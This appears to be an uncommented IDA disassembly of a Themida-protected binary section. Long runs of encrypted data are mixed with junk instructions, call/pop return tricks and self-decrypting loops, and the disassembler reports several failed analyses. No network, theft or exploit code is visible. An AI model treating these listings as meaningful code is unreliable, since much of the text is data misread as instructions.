dd 0E8C88127h, 0EACAA379h, 368ABF16h, 1C706DEh, 5CAC0000h
dd 73A62D3h, 53486FE9h, 349EECEBh, 104625Ch, 55F3514Bh
dd 8B36CDC0h, 0FB1E5D1Ah, 1B1E6C69h, 0FB229ECAh, 1DFDD675h
dd 2F99F249h, 1911E7DEh, 64FC6057h, 68A10B61h, 48h, 9FEA5C0Eh
dd 0D46CEBFh, 10C89F3h, 6566D782h, 0A469FBE2h, 0B122AB56h
dd 75FBCD89h, 0F5D84290h, 97A038Ch, 75FBCDE1h, 0DF079AE8h
dd 0F575FBCDh, 4B999800h, 0CD426EE1h, 0A17A75FBh, 4096EDC1h
dd 0E8DDDE30h, 83000000h, 0CB7150Fh, 44D84236h, 1351C08h
dd 0E9CC3687h, 0D3D63E33h, 389E946Ah, 9D75DF35h, 8C4245A3h
dd 76E0D492h, 0B7B540DEh, 0AA6FE95Ch, 6588B021h, 49976FE9h
dd 0AF0D07DFh, 0C0372E04h, 0E965274Fh, 50E8366Fh, 0F8DF74Dh
dd 4A72E36Ch, 516FE965h, 111C9903h, 1B11E792h, 0F25CB2B5h
dd 0C56F667h, 67B569FEh, 76F1E6BCh, 0FDFCDD05h, 0F39EEC75h
dd 0FDFC5A82h, 7B136175h, 28B13ADDh, 0FDFC8FB7h, 0BD509E75h
dd 75FDFC95h, 4E4DB7ABh, 0C9BE9600h, 0DB486F61h, 0DABD7335h
dd 13135h, 137F7200h, 27918575h, 3FA19989h, 55BBB1A1h
dd 6AD2C7B7h, 92005FCCh, 0A797359Dh, 0BEAE4CB0h, 0D7C765C5h
dd 0E2E17FDDh, 2AE81081h, 0E4F77602h, 0B21A0F92h, 0CC2A2414h
dd 91028B2Eh, 6FE90769h, 0AB902670h, 0FF6854C9h, 0FC1FD67h
dd 0FEB4B715h, 6508A604h, 886ED3F3h, 69FD5F44h, 284AF811h
dd 76F35D82h, 0D041EC77h, 69FBAAF7h, 4CAAA47Ah, 0AA89F349h
dd 0E6DBB15Ch, 5061D37Eh, 49ABA3AFh, 612F96B5h, 7710967h
dd 0F9D2FE89h, 0EEE875FBh, 0D02F290h, 0C739A2A5h, 438CC4DFh
dd 0C58CF6EAh, 8Eh, 38EA5C73h, 0B5130DF7h, 8538D221h, 18AF9E1Bh
dd 776C0799h, 19D17B0Fh, 0D647F28Ah, 69F06497h, 0FC6568B6h
dd 24DA0273h, 0C4357602h, 7602249Ch, 85655A3h, 6ECCC69Eh
dd 0A1C93AC3h, 0AF760224h, 85655B7h, 3630209Eh, 0AD95F0DCh
dd 42DA05ADh, 0D4B2EE3Fh, 0F1E8298Dh, 0BF05C91h, 0EF877FDCh
dd 0DB3F36ECh, 0DBBB74D8h, 3616CD6Ch, 710F6D67h, 26298781h
dd 11147A70h, 4C1BFBBAh, 6656F452h, 52B8AE6Ch
db 0BAh
dword_5B8EA1 dd 312B7h ; DATA XREF: Themida_:loc_54AA70r
db 2 dup(0), 0C0h
dd 1C0F5995h, 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h
dd 0B5AA6063h, 9E944A4Dh, 877F3538h, 786C2225h, 524D0B0Eh
dd 0BF57E289h, 4F940F49h, 55B5EF81h, 0EF811622h, 3971B990h
dd 835FFA01h, 148704EAh, 21685C24h, 8900005Fh, 0E568241Ch
dd 89000007h, 4BB242Ch, 431B726Bh, 370DBE56h, 0D6F75628h
dd 0DEF7EED1h, 3DB7CE81h, 0C6816F3Eh, 7061087Ch, 59D4F681h
dd 0F321286Ah, 16EB815Eh, 813D973Dh, 0C1E385F3h, 2C8B54D3h
dd 4C48324h, 8904EC83h, 8B82404h, 1000000h, 581889E8h
dd 5D2434FFh, 4C481h, 1C8B0000h, 0E7895724h, 4C781h, 0C7810000h
dd 4, 5C243C87h, 0F95AA8E9h, 280DD3FFh, 38723A16h, 909DCABBh
dd 0B9B8A38Eh, 3061924h, 4DE0FFC5h, 286BEE4Ch, 5668F528h
dd 0A17FFAE7h, 0B63307DAh, 931A2CCAh, 5943DA08h, 0D520A04Bh
dd 8354C871h, 5F7BF11Bh, 0AB6EF1BDh, 0D925A95Dh, 6F084B83h
dd 84A364Bh, 3C44D52Eh, 0DB34A76Dh, 4A186FB6h, 6F054CA0h
dd 7328B4B8h, 0F722EF55h, 3E388945h, 9F047180h, 0D53AEBACh
dd 2979B663h, 256FB1B1h, 0FF446831h, 9F1AE277h, 0AC745E49h
dd 550ADF1Ah, 0F77B6FE8h, 801BCEEFh, 8D1E2E3Eh, 1926B58Dh
dd 91B58B06h, 8906122Fh, 1209A18Dh, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0BBD72ADFh
dd 0B19D018Bh, 0C7061228h, 12050585h, 6A1806h, 85C7F800h
dd 6121BD9h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5B9057
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9057 proc near ; CODE XREF: Themida_:005B904Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5B9057 endp
; ---------------------------------------------------------------------------
std
mov ecx, 7A56E3F4h
mov [ecx], ebx
fisubr dword ptr [ebp-1]
mov ch, 0DDh
adc edx, [edx]
push es
push 0
push ecx
call sub_5B9082
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9082 proc near ; CODE XREF: Themida_:005B907Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5B9082 endp
; ---------------------------------------------------------------------------
dw 3F43h
dd 0CAABDA27h, 0E5CB4FEDh, 1B3195FFh, 6A0612h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 8B663FC3h, 0FDEE80F8h, 95FF006Ah, 61219CDh, 18EBC08Bh
dd 10DC31B9h, 26883064h, 0C73288BCh, 345203D9h, 0AD830398h
dd 2578BB96h, 8E8h, 30EB0100h, 0EF95BCE9h, 0F1958905h
dd 5906121Fh, 0A810Fh, 66600000h, 45D4DF81h, 61CAF580h
dd 6CCDC181h, 0BA660000h, 0C02B5654h, 1B65BD89h, 34FF0612h
dd 58E0F08h, 0BA000000h, 36A48D35h, 5E85Bh, 20FF0000h
dd 0F114E87h, 281h, 5AF08B00h, 1DC0C381h, 85891055h, 6122359h
dd 3148C381h, 8F0F027Bh, 6, 9559D89h, 0EB810612h, 64582F3Eh
dd 5510BE66h, 0D18B6653h, 0E901048Fh, 0Ch, 94D76D4Dh, 0FE7CE4EAh
dd 43BA0BFCh, 8B03E883h, 0F88148F3h, 0FFFF93D8h, 0FF8C850Fh
dd 0BA66FFFFh, 10E97ACCh, 0E4000000h, 621EF8h, 2 dup(0)
dd 0E9000000h, 509h, 0AC4AB6A9h, 0C05EC8BCh, 0D876D8D0h
dd 0EE8CF2E8h, 3A109FEh, 0D4C93B96h, 0E7DECE6Ch, 0FCF5E583h
dd 140EFE9Ch, 0B81918B6h, 22E1F47h, 0C91B2E76h, 6357150Fh
dd 0A85E61F9h, 0BDAD4BB3h, 0F96265C3h, 3EA49A70h, 2A52E53Bh
dd 386FE907h, 90DEDD41h, 0F6544E26h, 0DF493DF3h, 0E8C87FDCh
dd 23C11F19h, 3CDA3A33h, 48F3534Ch, 11147E72h, 0B86E51BBh
dd 35A5DC1h, 9C956444h, 0F1A58440h, 5BF37540h, 75D3CDBDh
dd 39330972h, 0D1FE71DBh, 806FE9B2h, 0AD1309DFh, 0EEC2A243h
dd 0D81E2597h, 58DEh, 35C33500h, 0B8B66AEEh, 0F4581EBh
dd 63B4B715h, 6FE90739h, 794D2DE4h, 0D81D7B22h, 169h, 1B0F0F00h
dd 3C3006B1h, 7264EBFh, 0E7356FE9h, 9902E54Fh, 7779F10h
dd 38866FE9h, 9802F6CEh, 5C2017EDh, 0FC66FE68h, 76D6319h
dd 10F0A704h, 45E34D41h, 5FFD5B55h, 0B21A0F0Bh, 9B05F9AFh
dd 0E3C37C98h, 0CB71F14h, 0D7DA4036h, 0A9991781h, 34A651AFh
dd 3B777FC2h, 1F026C6Ah, 0C0F7169h, 0EBBF9F78h, 0D81E2FA4h
dd 7ECBh, 1A0F7100h, 0D446AFB2h, 49BB668Eh, 0C0980215h
dd 0E5BB66C8h, 3D208AEEh, 2C2F8D87h, 0BEB88276h, 6F075D60h
dd 0B797506Ch, 12F2A948h, 48E64E43h, 0F8FB6358h, 0E3E64C42h
dd 0C296764Fh, 0D81E4F7Bh, 22807A50h, 265FC91Fh, 56h, 0B21A0FCCh
dd 0D83C3107h, 58613124h, 9730BC4h, 17777026h, 1695E14h
dd 0EC5248FEh, 3414CDE9h, 0A67C1FC5h, 3DDE48B2h, 0F05DB5Dh
dd 72673FA9h, 5C186C0Ah, 2B2E8C86h, 9F936BD5h, 0B4E13235h
dd 656FE907h, 0A3FACEAEh, 98D81D7Ah, 6AC8C2h, 1C7h, 170F6D00h
dd 6ED8CCA2h, 0E907B3DBh, 0EA70BA6Fh, 0B2F99FDFh, 241A12AAh
dd 97B26BEh, 0E5A423F3h, 432690CFh, 0AA0C04DAh, 106E6840h
dd 17F7B60Dh, 43EE5048h, 212149BAh, 0DA286FE9h, 6E5DF270h
dd 169F28D3h, 0E9217DA5h, 0D43E8C6Fh, 0FB460861h, 0C0C31169h
dd 14B2100Ah, 0C9CC2A24h, 0FB3E4E78h, 860FB275h, 0FB3EED15h
dd 0AA0A0375h, 85251A7h, 0A20A7953h, 0A337CFD0h, 0C07944C2h
dd 6809733Eh, 61BFB988h, 7BD9D3C3h, 0A002FAD0h, 14EA5336h
dd 62B8BB1Bh, 0CC2620F8h, 0FC872CD2h, 0C0FA70Ah, 885737F0h
dd 9D92308Eh, 0DE306946h, 12B8Dh, 636A3300h, 7BC435E0h
dd 0C269FB34h, 0C1BB7174h, 0DBD5C563h, 94214F81h, 0E2383B9Bh
dd 97B5E24Eh, 4C46FCFFh, 3F35EBEEh, 0FC6DD6D9h, 75FB78D4h
dd 9E958DDBh, 1AD3373Ah, 0B46DCB3Ah, 867C52D4h, 0E4DEB620h
dd 34CC2E26h, 0EC4AA196h, 4D91DE2Fh, 37000000h, 31DC6F6Ah
dd 16F9B8C0h, 36398710h, 0E906BDE5h, 6E4EC7EFh, 0C16CFFFAh
dd 69FC738h, 0C319EFE9h, 54F87473h, 0EA54A2A1h, 87E6EE5Fh
dd 17899016h, 0B77D88CEh, 9B7AE463h, 0DCECAB51h, 665B218Ah
dd 0DA5FBFEh, 8DF8D775h, 0A6000000h, 87E4636Ah, 0F225B681h
dd 0FE96F8F0h, 0AAAD0D06h, 0A011BC54h, 69FB438Bh, 93494C9Ah
dd 7DE7DB99h, 5D5747E5h, 0BD93FCFFh, 83F660C8h, 75FB3B64h
dd 5154BAB0h, 3C4F77E8h, 105E75FBh, 0BABD2118h, 0DA61004h
dd 59FF6E4Eh, 0F7F1C0A0h, 6766FB99h, 655B31DCh, 990A95FFh
dd 700256F0h, 3FA8ABF9h, 191D45B6h, 3E336FF4h, 7E7DD3D6h
dd 0F4EEC630h, 7D3C9396h, 9F22299Dh, 33DA83F4h, 95E369FBh
dd 5ACB54F7h, 75FB3C32h, 4581EB39h, 35E0636Ah, 0B9553AACh
dd 0AE42ACA0h, 3FA9EFFCh, 0F05C23CCh, 84F57E69h, 7602245Ch
dd 241E46B7h, 0DF2D7602h, 492892E0h, 0C9A892FFh, 1FB74C8Ch
dd 41A99E74h, 9B7EE83Eh, 0EF8DEBE5h, 0A4A705FFh, 87C5F53h
dd 9BFDF512h, 86ECE298h, 8D6D2C83h, 0E8C87F1Eh, 16C11F19h
dd 0E0E34B40h, 0B2A2208Ah, 0A1575AB8h, 0EB4245ABh, 58CA4C2Ch
dd 103F3A0Ah, 544B4365h, 0B4AE86F0h, 9A9DFDF6h, 1E0EAC44h
dd 1EC3C624h, 3, 0F5995CCh, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh
dd 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h
dd 4D0B0E78h, 452268h, 240C8900h, 0C181E189h, 4, 8704E983h
dd 685C240Ch, 7958h, 68240489h, 56B6h, 51241489h, 455E168h
dd 7BB85908h, 310E1D72h, 8B5459C8h, 0C4812414h, 4, 24048150h
dd 3F640AC1h, 5108428Fh, 8118D9B9h, 2CC98136h, 8137F320h
dd 94173AC1h, 8FC18179h, 814E4B7Bh, 1920A6F1h, 4DC9815Ch
dd 812C0772h, 6BF0ACE9h, 84A2970h, 24148B59h, 81E38953h
dd 4C3h, 4C38300h, 5C241C87h, 5024048Bh, 405E089h, 83000000h
dd 48704C0h, 6AE95C24h, 24FFF953h, 3BF74600h, 0B68F13BAh
dd 46AA7FE1h, 2BF2B859h, 0C5030619h, 0CBB9E0FFh, 56924023h
dd 26894000h, 0D5E1616Eh, 7448544Ch, 18090FE7h, 398D63A0h
dd 67A72E32h, 27E97B03h, 9DC92E10h, 7286439Eh, 4E450CE0h
dd 7A927755h, 12BD3234h, 5554690h, 263E2A9Bh, 0DEED6A51h
dd 9B7B28FCh, 0CA007E04h, 4E771F49h, 0CAF45115h, 491402Fh
dd 226E4F0Ah, 4C7776Ah, 0AB85139Dh, 0AA22617h, 0A8775F48h
dd 98A62765h, 0CCA738AEh, 36F8546Bh, 2232E35h, 0AD6F1124h
dd 0CE823A5h, 97000000h, 0C5C72EB9h, 0CB6EAD0Bh, 5BB90DCAh
dd 7677C981h, 0C3817D9Dh, 60B6h, 4830Fh, 0B0600000h, 0F62B6127h
dd 0E880Fh, 0F600000h, 8Ah, 0F2E88100h, 6115C7FFh, 0E81E34FFh
dd 14h, 8CDC143h, 11E5416Ah, 3D263B83h, 0A4411B4Fh, 0B556D4EAh
dd 6880Fh, 8C0F0000h, 0
; ---------------------------------------------------------------------------
pop ecx
pop edi
push esi
pusha
jmp loc_5B97C4
; ---------------------------------------------------------------------------
db 93h, 31h, 96h
dd 9311D537h, 1C2EACE2h, 9A23B5CDh, 37A17998h
; ---------------------------------------------------------------------------
loc_5B97C4: ; CODE XREF: Themida_:005B97ACj
mov dx, si
popa
pop eax
sub edi, 3FF703D8h
sub edx, 18E98169h
xor edi, 50C27CBDh
add ax, 976Ah
add edi, 74660353h
mov cx, 0C49Bh
push edi
mov dl, ah
pop dword ptr [ebx+esi]
push ecx
adc dx, 0BCC8h
pop edx
jmp loc_5B9806
; ---------------------------------------------------------------------------
dd 9A8EA95Dh, 33AF6225h
db 0DEh, 3Dh
; ---------------------------------------------------------------------------
loc_5B9806: ; CODE XREF: Themida_:005B97F7j
sub esi, 4
ja loc_5B9813
mov ax, 5D78h
loc_5B9813: ; CODE XREF: Themida_:005B9809j
cmp esi, 0FFFFA070h
jnz loc_5B9857
call sub_5B9829
lock mov cl, 26h
; ---------------------------------------------------------------------------
db 0DBh
db 24h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5B9829 proc near ; CODE XREF: Themida_:005B981Fp
jmp sub_5B9840
sub_5B9829 endp
; ---------------------------------------------------------------------------
dw 0AB6Eh
; ---------------------------------------------------------------------------
sahf
push cs
ror ecx, cl
fcom dword ptr [esi+5DADA8F8h]
xor [eax-72AE135Eh], edi
; =============== S U B R O U T I N E =======================================
sub_5B9840 proc near ; CODE XREF: sub_5B9829j
pop edx
jmp loc_5B9871
; ---------------------------------------------------------------------------
dw 0BA87h
dd 415C5A07h, 75028567h, 5D98BE19h
; ---------------------------------------------------------------------------
push cs
sal al, 1
loc_5B9857: ; CODE XREF: Themida_:005B9819j
mov dx, cx
jmp near ptr dword_5B91A8+5D8h
; ---------------------------------------------------------------------------
db 0BCh
dd 0F470AFA9h, 822D09A8h, 66C935Bh, 0AF66549Ch
db 0B7h
; ---------------------------------------------------------------------------
loc_5B9871: ; CODE XREF: sub_5B9840+1j
call sub_5B9888
enter 0FFFFCD04h, 8Dh
mov ds:69F57B20h, eax
mov ebp, 8809DFAh
inc edi
shr ecx, 53h
sub_5B9840 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B9888 proc near ; CODE XREF: sub_5B9840:loc_5B9871p
stc
pop esi
jmp loc_5B989C
; ---------------------------------------------------------------------------
db 0DCh
dd 0FBDFF5B9h, 240F08D8h, 0A8A3D579h
; ---------------------------------------------------------------------------
loc_5B989C: ; CODE XREF: sub_5B9888+2j
add esi, 5A9Ah
jl loc_5B98AA
mov al, 10h
loc_5B98AA: ; CODE XREF: sub_5B9888+1Aj
push 0
or ecx, 619E4B1Ch
pop edi
jmp loc_5B98C3
; ---------------------------------------------------------------------------
db 0B0h
; ---------------------------------------------------------------------------
ror dword ptr [ebx-1DD34830h], cl
aas
loc_5B98C3: ; CODE XREF: sub_5B9888+2Ej
; sub_5B9888+C5j
mov edx, [esi+edi]
jnb loc_5B98D5
jz loc_5B98D5
movsx ebx, di
loc_5B98D5: ; CODE XREF: sub_5B9888+3Ej
; sub_5B9888+44j
xor edx, 4A4F8EC8h
push ebx
jmp loc_5B98E9
; ---------------------------------------------------------------------------
db 98h, 0E8h, 0A5h
dd 0C090EF3Ah
; ---------------------------------------------------------------------------
lodsb
loc_5B98E9: ; CODE XREF: sub_5B9888+54j
pop ecx
sub edx, 30F557C6h
jmp loc_5B98FC
; ---------------------------------------------------------------------------
test edi, 1EF0B7C4h
xchg eax, edi
loc_5B98FC: ; CODE XREF: sub_5B9888+68j
add edx, 58C375BEh
mov al, 0B7h
mov [esi+edi], edx
mov cx, ax
add ebx, 7E49B981h
sub edi, 5B264DADh
adc eax, 709D2E5Fh
add edi, 5B264DA9h
mov ecx, 0EE75AB3h
cmp edi, 0FFFFA648h
jnz loc_5B9948
mov ebx, 76F0EF83h
jmp loc_5B995C
; ---------------------------------------------------------------------------
db 10h, 0FEh, 28h
dd 37F18811h, 3C8C0C46h
; ---------------------------------------------------------------------------
loc_5B9948: ; CODE XREF: sub_5B9888+A5j
mov ecx, 31AAF774h
jmp loc_5B98C3
; ---------------------------------------------------------------------------
dw 5DBAh
dd 794C30E8h, 6EF24B6Dh
; ---------------------------------------------------------------------------
loc_5B995C: ; CODE XREF: sub_5B9888+B0j
call near ptr loc_5B9966+3
wait
dec ebx
nop
in al, dx
pop ds
assume ds:___
loc_5B9966: ; CODE XREF: sub_5B9888:loc_5B995Cp
mov ds:0BF66D0D9h, al
sub_5B9888 endp ; sp-analysis failed
lodsd
; ---------------------------------------------------------------------------
dd 0C3815B8Fh, 66AAh, 0F6337AB5h, 10E9h, 84593000h, 0EFD5DDBEh
dd 20D8A3C5h, 0EB73A366h, 33048B8Ah, 912FBF66h, 4DFCE881h
dd 8B661C06h, 8DC081D0h, 0B60F1B20h, 7CF08114h, 661576BCh
dd 2E1FE181h, 50330489h, 14E8h, 380D6300h, 15D4BF5Ch, 0A52955A6h
dd 3D5D921h, 0E901416Eh, 5F595393h, 0FE95Ah, 491E0000h
dd 0CEA5746Ch, 5B010336h, 0F340BF68h, 1EE8344h, 0CE8h
dd 0AA9EAF00h, 79D9FD7Fh, 0B3F3730h, 0D3B70F3Fh, 4E4E4E59h
dd 81E7C280h, 0FF9A24FEh, 12850FFFh, 66000000h, 1CE9D78Bh
dd 62000000h, 9D04981Fh, 0FD9CE5BAh, 3258BFE8h, 62E94A8Ah
dd 0BAFFFFFFh, 9F55242Bh, 8BE659A2h, 91BD83C0h, 6121Bh
dd 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h, 421h, 858589h
dd 9D8D0612h, 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h
dd 0B8535017h, 421h, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh
dd 9D8BC08Bh, 6120895h, 287185C6h, 68560612h, 9CA8B852h
dd 30E9B5FFh, 858D0612h, 6157F35h, 46AD0FFh, 100068h, 89B5FF00h
dd 6A061223h, 85D0FF00h, 0D850FC0h, 0B8000000h, 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+6127277h]
jmp ecx
; ---------------------------------------------------------------------------
mov ecx, eax
mov eax, ebx
add eax, [eax+3Ch]
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ebx
cmp dword ptr [ebp+6122AA1h], 0
jz loc_5B9AF4
mov ebx, [ebp+6122AA1h]
mov eax, [ebp+6121949h]
mov [ebx], eax
loc_5B9AF4: ; CODE XREF: Themida_:005B9AE0j
push ecx
push edx
lea eax, [ebp+6127B68h]
call eax
mov edi, edx
mov esi, ecx
mov edx, ecx
mov ecx, eax
rep movsb
mov byte ptr [ebp+6122871h], 56h
push 0D41F6D39h
push dword ptr [ebp+61230E9h]
lea eax, [ebp+6157F35h]
call eax
push 8000h
push 0
push edx
call eax
mov eax, eax
cmp dword ptr [ebp+6121B91h], 0
jnz short loc_5B9B40
cmp dword ptr [ebp+61217DDh], 0
jz short loc_5B9B59
loc_5B9B40: ; CODE XREF: Themida_:005B9B35j
push eax
push ebx
mov eax, eax
mov eax, 421h
mov [ebp+6122295h], eax
lea ebx, [ebp+614AE76h]
call ebx
pop ebx
pop eax
loc_5B9B59: ; CODE XREF: Themida_:005B9B3Ej
cmp dword ptr [ebp+61217DDh], 0
jz short loc_5B9B79
push eax
push ebx
mov eax, 421h
mov [ebp+6122295h], eax
lea ebx, [ebp+614AB17h]
call ebx
pop ebx
pop eax
loc_5B9B79: ; CODE XREF: Themida_:005B9B60j
mov eax, eax
lea ebx, [ebp+6122AA1h]
mov eax, [ebx]
or eax, eax
jz loc_5B9B92
mov eax, [ebx]
mov ebx, [ebx+4]
mov [eax], ebx
loc_5B9B92: ; CODE XREF: Themida_:005B9B85j
mov eax, 4B41h
call near ptr loc_5B9BA0+3 ; CODE XREF: sub_5B9C21-22j
aas
pop esp
mov ah, 0CDh
loc_5B9BA0: ; CODE XREF: Themida_:005B9B97p
mov ebp, 5A57EEF6h
pop ecx
adc eax, 7BF6E08Eh
add ecx, 0E893h
mov ax, 0EF30h
mov edi, 5342DC96h
add edi, 0ACBD5D57h
mov dx, 0F3DBh
; START OF FUNCTION CHUNK FOR sub_5B9C21
loc_5B9BC5: ; CODE XREF: sub_5B9C21+46j
mov ebx, [ecx]
push ecx
pop eax
sub ebx, 7ABC028Ch
jns loc_5B9BEB
jmp loc_5B9BEB
; END OF FUNCTION CHUNK FOR sub_5B9C21
; ---------------------------------------------------------------------------
dw 372Dh
dd 2B665812h, 32094700h, 59F66EDEh
db 92h, 69h, 3Ch
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B9C21
loc_5B9BEB: ; CODE XREF: sub_5B9C21-52j
; sub_5B9C21-4Cj
add ebx, 43C3D489h
mov dx, di
sub ebx, 0A731F2Bh
call sub_5B9C0F
jz short near ptr loc_5B9B97+4
arpl [esi-1Fh], bp
pop es
retf
; END OF FUNCTION CHUNK FOR sub_5B9C21
; ---------------------------------------------------------------------------
dw 0D61Dh
dd 9F3F2B13h
db 0ECh, 3Ch, 0DFh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5B9C0F proc near ; CODE XREF: sub_5B9C21-27p
jmp near ptr sub_5B9C21
sub_5B9C0F endp
; ---------------------------------------------------------------------------
jmp short loc_5B9C6F
; ---------------------------------------------------------------------------
dw 3FDh
dd 8B0C7316h, 46E524FBh
db 0C2h
; =============== S U B R O U T I N E =======================================
sub_5B9C21 proc far ; CODE XREF: sub_5B9C0Fj
; FUNCTION CHUNK AT 005B9BC5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005B9BEB SIZE 0000001B BYTES
pop eax
push ebx
pusha
movzx ebx, bx
sub esi, 6D217E3Bh
popa
pop dword ptr [ecx]
mov esi, 723EBA37h
sub ecx, 4
mov eax, 3CBA7A4Bh
sub edi, 1
jnz loc_5B9C64
sbb si, 0A26Eh
jmp loc_5B9C7F
; ---------------------------------------------------------------------------
db 38h
dd 0FBE44775h, 53B45A6Fh, 2417C33Eh, 0B93D0081h
; ---------------------------------------------------------------------------
loc_5B9C64: ; CODE XREF: sub_5B9C21+22j
movzx edx, dx
jmp loc_5B9BC5
; ---------------------------------------------------------------------------
db 7Bh, 0Bh, 4Bh
; ---------------------------------------------------------------------------
loc_5B9C6F: ; CODE XREF: Themida_:005B9C14j
and [ebx-241333FDh], dl
call far ptr 14B8h:0E3167360h
jnp short near ptr loc_5B9C85+2
out dx, al
loc_5B9C7F: ; CODE XREF: sub_5B9C21+2Dj
lea ebx, [ebp+61208F1h]
loc_5B9C85: ; CODE XREF: sub_5B9C21+5Bj
mov eax, 1434h
mov [ebp+612143Dh], eax
call $+5
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5BB0D6
; ---------------------------------------------------------------------------
align 4
dd 50Ch dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5BB0D6: ; CODE XREF: sub_5B9C21+7Cj
lea ecx, [ebp+619475Bh]
mov ebx, edi
movzx ebx, ax
mov [ebp+61209A1h], ecx
push 0
push ecx
call sub_5BB0F2
and [ecx-3Dh], bl
sub_5B9C21 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5BB0F2 proc near ; CODE XREF: sub_5B9C21+14C9p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5BB0F2 endp
; ---------------------------------------------------------------------------
dw 8BB8h
; ---------------------------------------------------------------------------
mov edi, 12050585h
push es
adc [edi+0], bl
add cl, ch
or eax, 0C6000000h
mov esi, 0E8408E2Fh
cmp eax, 0C1B7CB11h
jns short near ptr loc_5BB121+8
loc_5BB121: ; CODE XREF: Themida_:005BB11Fj
mov dword ptr [ebp+6121BD9h], 0
mov edi, [ebp+6121D9Dh]
push dword ptr [ebp+6122BF1h]
push 0
push eax
call sub_5BB142
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB142 proc near ; CODE XREF: Themida_:005BB13Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5BB142 endp
; ---------------------------------------------------------------------------
pop ds
das
pop ecx
imul ecx, [ecx+35h], 0A848BA66h
mov eax, ebx
call dword ptr [ebp+6121B31h]
xor edi, [ebp+6121819h]
push 0
call dword ptr [ebp+61219CDh]
mov eax, eax
jmp short loc_5BB1D5
; ---------------------------------------------------------------------------
dw 6D52h
dd 0DF537B6h, 0F55B4CAAh, 12CE8949h, 0FF359C9h, 8BE8959h
dd 8B5B1AA5h, 0B872BA38h, 42B1546Dh, 0C5F064D0h, 0CE0C480Eh
dd 292A317Fh, 0EBDEF90Ch, 912C5C17h, 0AAE3E856h, 1D5429C2h
dd 5805BC79h, 40E11133h, 0E482EC45h, 6038C194h, 8D8B4E21h
dd 0D30B83A1h, 8AB30DF4h, 400E4DCEh
db 68h
; ---------------------------------------------------------------------------
loc_5BB1D5: ; CODE XREF: Themida_:005BB174j
dec dl
inc ebp
adc [edx], ecx
test al, 3Ah
cdq
dec esi
mov al, [eax-5457F5EFh]
aad 0EAh
jnz short loc_5BB240
push ss
or ch, [eax-75B161E0h]
mov edx, 9D57AE5Dh
sahf
dec esi
mov cl, [eax+17h]
or ch, [eax+75EAD5ABh]
adc edx, [edi]
or ch, [eax-75B1603Dh]
popf
pop ss
or ch, [eax-75B163B3h]
pop ss
adc al, 0Ah
test al, 0ABh
aad 0EAh
jnz short loc_5BB23D
das
aam 42h
sbb al, 33h
adc eax, [ebx]
shl byte ptr [ebx+16h], 0B1h
push edx
cmpsd
nop
ror byte ptr [ebx+edi*4], cl
push edi
and ecx, edx
out dx, eax
push edx
xchg eax, ebx
inc ebx
das
aam 7
sbb eax, 0C0031333h
imul edx, [esi], -4Fh
push edx
cmpsd
loc_5BB23D: ; CODE XREF: Themida_:005BB216j
nop
lea ecx, [edi]
loc_5BB240: ; CODE XREF: Themida_:005BB1E6j
mov ebx, 0FBD12157h
push edx
xchg eax, ebx
inc ebx
das
aam 0F6h
push ds
xor edx, [ebx]
add eax, eax
ja short loc_5BB268
mov cl, 52h
cmpsd
nop
cmp [edi], ecx
mov ebx, 0F7D12157h
push edx
xchg eax, ebx
inc ebx
das
aam 5Fh
push ds
xor edx, [ebx]
add eax, eax
loc_5BB268: ; CODE XREF: Themida_:005BB250j
inc ebx
push ss
mov cl, 52h
cmpsd
nop
retf 0BB0Eh
; ---------------------------------------------------------------------------
push edi
and ecx, edx
retn
; ---------------------------------------------------------------------------
push edx
xchg eax, ebx
inc ebx
das
aam 29h
pop ds
xor edx, [ebx]
add eax, eax
dec edi
push ss
mov cl, 52h
cmpsd
nop
dec eax
push cs
mov ebx, 0DBD12157h
push edx
xchg eax, ebx
inc ebx
das
aam 0ABh
sbb [ebx], dh
adc eax, [ebx]
rcl byte ptr [edi+16h], 0B1h
push edx
cmpsd
nop
mov dh, 9
mov ebx, 0D3D12157h
push edx
xchg eax, ebx
inc ebx
retn
; ---------------------------------------------------------------------------
db 0B8h, 12h, 50h
dd 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5CC2B1C0h
dd 0A8ED96A4h, 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh
dd 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 0ED3AAE63h, 848C0723h
dd 11AB5342h, 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h
dd 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
dd 54A851A2h, 4162AD6Ch, 660351A2h, 0EE27BFEAh, 161DB2Fh
